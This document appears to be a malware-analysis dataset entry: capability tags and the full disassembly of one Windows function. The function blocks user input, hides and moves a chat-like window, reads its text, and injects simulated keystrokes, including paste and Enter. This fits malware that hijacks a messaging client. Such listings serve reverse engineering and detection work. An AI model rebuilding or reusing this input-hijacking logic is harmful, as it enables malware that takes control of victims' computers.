Function at 0x403ec0
Capabilities:
Check for time delay via gettickcount
Get graphical window text
Hide graphical window
Log keystrokes via polling

Disassembly:
sub esp, 0x2a0
mov eax, dword [0x4151a8]
push ebp
mov ebp, dword [0x41738c]
push edi
mov dword [esp + 0x2a4], eax
lea eax, [esp + 0x1a4]
push 0x416600
inc ebp
push eax
mov dword [0x41738c], ebp
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 8
push 0x411f80
push str.__oxFrame.class__
mov byte [0x417390], 0
call dword [sym.imp.USER32.dll_FindWindowA]
mov edi, eax
test edi, edi
mov dword [esp + 0x14], edi
je 0x404332
push esi
push 1
call sub.USER32.dll_BlockInput
push str.LZE_P_n
push 2
call fcn.00401ff0
add esp, 8
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push edi
call dword [sym.imp.USER32.dll_IsWindowVisible]
mov esi, dword [sym.imp.USER32.dll_keybd_event]
test eax, eax
setne byte [esp + 0xf]
mov byte [esp + 0xe], 0
push ebx
lea ecx, [esp + 0x24]
push ecx
push edi
call dword [sym.imp.USER32.dll_GetWindowRect]
push 1
push edi
call dword [sym.imp.USER32.dll_ShowWindow]
push 1
push 0x2bc
push 0x2bc
push 0
push 0x1388
push edi
call dword [sym.imp.USER32.dll_MoveWindow]
push edi
call dword [sym.imp.USER32.dll_SetForegroundWindow]
push edi
call dword [sym.imp.USER32.dll_SetFocus]
mov ebp, dword [sym.imp.KERNEL32.dll_Sleep]
push 0x64
call ebp
xor ebx, ebx
lea esp, [esp]
push 0
push 0
push 0
push 0x25
call esi
push 0
push 0
push 0
push 0x26
call esi
xor edx, edx
mov eax, ebx
mov ecx, 5
div ecx
test edx, edx
jne 0x403fc7
push 1
call ebp
inc ebx
cmp ebx, 0x1f4
jl 0x403fa0
xor ebx, ebx
push 0
push 0
push 0
push 0x27
call esi
push 0
push 0
push 0
push 0x28
call esi
xor edx, edx
mov eax, ebx
mov ecx, 5
div ecx
test edx, edx
jne 0x403ff9
push 1
call ebp
inc ebx
cmp ebx, 0x1f4
jl 0x403fd2
push 0xa
call ebp
xor ebx, ebx
push ebx
push ebx
push ebx
push 0x28
call esi
push ebx
push ebx
push ebx
push 0xd
mov dword [esp + 0x28], ebx
mov byte [esp + 0x21], bl
call esi
push 1
call ebp
push 0x1f4
call ebp
mov dword [esp + 0x14], ebx
lea ecx, [ecx]
cmp dword [esp + 0x14], 0x1f4
jge 0x4042db
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov dword [esp + 0x20], eax
call dword [sym.imp.USER32.dll_GetForegroundWindow]
mov ebx, eax
cmp ebx, edi
je 0x40409f
push 0x11
lea edx, [esp + 0x7c]
push edx
push ebx
call dword [sym.imp.USER32.dll_GetClassNameA]
lea eax, [esp + 0x78]
push eax
xor ebp, ebp
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push str.__oxFrame.class__
mov edi, eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
cmp edi, eax
jne 0x4040b7
test edi, edi
jle 0x404095
mov cl, byte [esp + ebp + 0x78]
cmp cl, byte [ebp + str.__oxFrame.class__]
jne 0x4040b7
inc ebp
cmp ebp, edi
jl 0x404084
mov edi, dword [esp + 0x1c]
mov ebp, dword [sym.imp.KERNEL32.dll_Sleep]
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov ecx, dword [esp + 0x20]
sub eax, 0x12c
cmp ecx, eax
jae 0x404048
jmp 0x40424d
lea edx, [esp + 0x34]
push edx
push ebx
call dword [sym.imp.USER32.dll_GetWindowRect]
push 0
push ebx
call dword [sym.imp.USER32.dll_ShowWindow]
mov ebp, dword [sym.imp.KERNEL32.dll_Sleep]
push 0x1f4
call ebp
push 0x11
lea eax, [esp + 0x48]
push eax
push ebx
call dword [sym.imp.USER32.dll_GetWindowTextA]
lea ecx, [esp + 0x44]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
cmp eax, 1
jle 0x404226
mov al, byte [esp + 0x12]
test al, al
jne 0x404193
mov al, byte [esp + 0x44]
cmp al, 0x30
je 0x404133
cmp al, 0x31
je 0x404133
cmp al, 0x32
je 0x404133
cmp al, 0x33
je 0x404133
cmp al, 0x34
je 0x404133
cmp al, 0x35
je 0x404133
cmp al, 0x36
je 0x404133
cmp al, 0x37
je 0x404133
cmp al, 0x38
je 0x404133
cmp al, 0x39
jne 0x404193
mov al, byte [esp + 0x45]
cmp al, 0x30
je 0x404163
cmp al, 0x31
je 0x404163
cmp al, 0x32
je 0x404163
cmp al, 0x33
je 0x404163
cmp al, 0x34
je 0x404163
cmp al, 0x35
je 0x404163
cmp al, 0x36
je 0x404163
cmp al, 0x37
je 0x404163
cmp al, 0x38
je 0x404163
cmp al, 0x39
je 0x404163
cmp al, 0x20
jne 0x404193
mov al, byte [esp + 0x46]
cmp al, 0x30
je 0x404193
cmp al, 0x31
je 0x404193
cmp al, 0x32
je 0x404193
cmp al, 0x33
je 0x404193
cmp al, 0x34
je 0x404193
cmp al, 0x35
je 0x404193
cmp al, 0x36
je 0x404193
cmp al, 0x37
je 0x404193
cmp al, 0x38
je 0x404193
cmp al, 0x39
jne 0x4042ab
push 0x32
call ebp
mov edi, 0x64
lea esp, [esp]
push 0
push 0
push 0
push 8
call esi
dec edi
jne 0x4041a0
lea edx, [esp + 0x1ac]
push edx
lea eax, [esp + 0xb0]
push 0x411c6c
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
lea ecx, [esp + 0xb8]
push ecx
call fcn.004015e0
lea edx, [esp + 0xbc]
push ebx
push edx
call fcn.00401f40
add esp, 0x18
push 0
push 1
push 0
push 0x11
call esi
push 0
push 0
push 0
push 0x56
call dword [sym.imp.USER32.dll_VkKeyScanA]
push eax
call esi
push 0
push 3
push 0x2d
push 0x11
call esi
push 0
push 0
push 0
push 0xd
call esi
push 0x1f4
mov byte [esp + 0x15], 1
mov byte [esp + 0x16], 1
call ebp
push ebx
call dword [sym.imp.USER32.dll_SetForegroundWindow]
push 0x32
call ebp
push 0
push 0
push 0
push 0x1b
call esi
mov al, byte [esp + 0x11]
test al, al
mov ebp, dword [sym.imp.KERNEL32.dll_Sleep]
mov edi, dword [esp + 0x1c]
jne 0x40426b
cmp dword [esp + 0x18], 0xa
jl 0x404265
mov dword [esp + 0x14], 0x1f4
inc dword [esp + 0x14]
jmp 0x404030
inc dword [esp + 0x18]
jmp 0x404273
mov dword [esp + 0x18], 0
push edi
mov byte [esp + 0x15], 0
call dword [sym.imp.USER32.dll_SetForegroundWindow]
push edi
call dword [sym.imp.USER32.dll_SetFocus]
push 0
push 0
push 0
push 0x26
call esi
push 1
call ebp
push 0
push 0
push 0
push 0xd
call esi
push 0x64
call ebp
inc dword [esp + 0x14]
jmp 0x404030
push 0
push 1
push 0
push 0x12
mov byte [esp + 0x22], 1
call esi
push 0
push 0
push 0
push 0x73
call esi
push 0
push 3
push 0x2d
push 0x12
call esi
push 0x32
call ebp
mov edi, dword [esp + 0x1c]
jmp 0x403f53
mov al, byte [esp + 0x13]
test al, al
pop ebx
jne 0x4042ed
push 0
push edi
call dword [sym.imp.USER32.dll_ShowWindow]
mov eax, dword [esp + 0x24]
mov ecx, dword [esp + 0x2c]
mov edx, dword [esp + 0x28]
push 1
sub ecx, eax
push ecx
mov ecx, dword [esp + 0x28]
sub edx, ecx
push edx
push eax
push ecx
push edi
call dword [sym.imp.USER32.dll_MoveWindow]
push 0
call sub.USER32.dll_BlockInput
push 0x64
call ebp
push 0
push 1
push 0
push 0x11
call esi
push 0xa
call ebp
push 0
push 3
push 0x2d
push 0x11
call esi
pop esi
mov ecx, dword [esp + 0x2a4]
pop edi
xor eax, eax
pop ebp
call fcn.004088de
add esp, 0x2a0
ret 4